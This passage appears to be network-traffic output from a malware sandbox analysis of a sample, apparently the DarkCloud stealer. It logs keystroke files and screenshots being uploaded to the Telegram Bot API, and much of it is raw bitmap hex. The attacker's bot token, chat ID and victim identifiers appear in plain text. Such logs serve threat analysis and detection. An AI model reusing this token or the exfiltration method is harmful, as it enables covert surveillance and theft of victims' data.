f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:41:12 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:17 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49998	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:19 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:19 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 66 54 75 53 64 4b 67 6e 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 30 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 30 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 30 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatafTuSdKgn.txt"Content-Type: application/octet-stream[07:41:08]<<Program Manager>>[07:41:09]<<Program Manager>>[07:41:09]<<Program Mana
2024-11-25 12:41:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:20 GMT Content-Type: application/json Content-Length: 594 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:41:20 UTC	594	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2542,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50007	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:23 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 4c 55 71 43 64 5a 58 70 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotLUqCdZXp.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:41:23 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:23 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:28 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50012	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:30 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:30 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 55 4e 62 66 50 55 74 56 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 31 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 31 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 31 3a 31 39 5d 3c 